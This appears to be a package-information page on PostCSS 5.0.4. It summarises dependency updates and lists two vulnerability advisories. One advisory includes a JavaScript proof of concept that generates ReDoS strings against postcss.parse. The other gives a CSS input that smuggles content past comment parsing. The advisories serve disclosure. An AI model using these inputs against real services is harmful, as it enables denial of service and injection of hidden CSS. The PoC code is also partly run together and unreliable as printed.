PostCSS version 5.0.4 represents a minor update to the popular tool for transforming styles with JavaScript plugins, building upon version 5.0.3. Both versions share the same core dependencies: js-base64, source-map, and supports-color, ensuring consistent functionality for basic tasks. The development environment, however, sees a few notable changes.
Specifically, eslint is updated from version 1.3.0 to 1.3.1, postcss-parser-tests jumps from 5.0.1 to 5.0.2, and babel-eslint goes up from version 4.1.0 to 4.1.1. Additionally, del goes from 1.2.1 to 2.0.0. This indicates improvements in code linting, testing of the parser component, and possibly better integration with newer ECMAScript features through Babel.
While the core functionality remains consistent, developers upgrading to 5.0.4 can expect refinements in the development workflow and potentially more robust parsing capabilities. The update focuses on developer experience improvements, with more recent versions of the linter, parser test suite, and related tools. Developers already using PostCSS will benefit from these incremental improvements by updating. PostCSS remains a powerful option for those looking into programmatically manipulating CSS.
All the vulnerabilities related to the version 5.0.4 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.